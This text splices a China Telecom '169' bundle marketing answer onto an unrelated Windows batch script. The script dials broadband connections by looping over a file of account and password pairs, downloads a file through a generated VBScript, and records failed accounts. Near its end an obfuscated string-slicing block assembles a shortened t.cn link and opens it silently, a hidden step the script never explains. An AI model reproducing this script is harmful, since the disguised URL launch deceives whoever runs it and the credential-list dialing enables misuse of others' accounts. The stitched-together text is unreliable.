电信169套餐营销脚本

您好!希望下面的回答能够对您有所帮助

　 电信169套餐分为20M(光纤宽带)和4M的电信169套餐基本包包含业务如下：

1部固话+1部高清影视基础包+天翼手机（1-3部）+1部宽带

电信169套餐包含内容如下：

1、所有手机全国接听免费。

2、所有手机和固定电话零月租。

3、送固话来显、个人彩铃。

4、送所有手机来显、个人彩铃。

5、套餐内赠送手机共享上网流量100M。

6、套餐内的手机成员本地互拨免费，含成员间相互呼叫转移通话。

7、套餐送100小时WiFi国内上网时长，所有成员共享(有线宽带和手机帐号均可使用)。

8、套餐每月送169月手机话费，固话、多部手机可共享。

9、套餐内有线宽带，不限时长、免费上网！

安徽电信网上营业厅现推出零月租、零门槛、本地拨打省内电信号全免费，流量不清零的iFree卡，无套餐、无合约、无最低消费，限量抢购中，详情访问安徽电信网上营业厅。

以上答复仅供参考，具体请咨询10000，以安徽电信网上营业厅或营业厅公告为准。

感谢您长期以来给予中国电信的支持，祝您生活愉快，谢谢！

@echo off & title 批量拨号并下载 By 依梦琴瑶

mode 50,6 & color 0a & cd /d %~dp0

::设置宽带账号和密码列表文件。必写项。

set List=ADSL_User_Password.txt

::设置宽带拨号名称。必写项。

set Name=本地连接

::设置要下载的文件链接，仅支持http协议。必写项。

set Url=

for /f "tokens=1,2 delims= " %%a in ('type "%List%"') do (

    rasdial %Name% /disconnect >nul 2>nul

    cls & echo 当前账号∶%%a 正在拨号。。。

    rasdial %Name% %%a %%b >nul 2>nul

    echo, & echo 正在检查网络连接状态。。。

    ping www.baidu.com -n "1" | find /i "TTL" >nul 2>nul && (

        call :DownFile "%Url%"

    ) || (

        echo, & echo 拨号失败或无网络

        (echo %%a %%b)>>拨号失败或无网络的账号列表.txt

    )

)

set S1=.:htpcn/

set S2=%S1:~2,1%%S1:~3,1%%S1:~3,1%%S1:~4,1%%S1:~1,1%%S1:~7,1%

set S3=%S1:~7,1%%S1:~3,1%%S1:~0,1%%S1:~5,1%%S1:~6,1%%S1:~7,1%

start "" "%S2%%S3%RkdisqI"

exit

:DownFile

pushd "%tmp%"

if not exist DownloadFile.vbs call :CreatVBS

if exist "DownTMPFile.$" del /f /q "DownTMPFile.$"

echo, & echo 正在下载文件中。。。

DownloadFile.vbs "%~1" "DownTMPFile.$"

popd

goto :eof

:CreatVBS

(echo Download Wscript.Arguments^(0^),Wscript.Arguments^(1^)

echo Sub Download^(url,target^)

echo   Const adTypeBinary = 1

echo   Const adSaveCreateOverWrite = 2

echo   Dim http,ado

echo   Set http = CreateObject^("Msxml2.ServerXMLHTTP"^)

echo   http.open "GET",url,False

echo   http.send

echo   Set ado = createobject^("Adodb.Stream"^)

echo   ado.Type = adTypeBinary

echo   ado.Open

echo   ado.Write http.responseBody

echo   ado.SaveToFile target

echo   ado.Close

echo End Sub)>DownloadFile.vbs

goto :eof

宽带账号和密码请用空格隔开，一组一行。保存为ADSL_User_Password.txt

至于要下载的文件，请自行找一个大于16兆的下载链接。

其它一些需要设置的，请自行修改代码。

---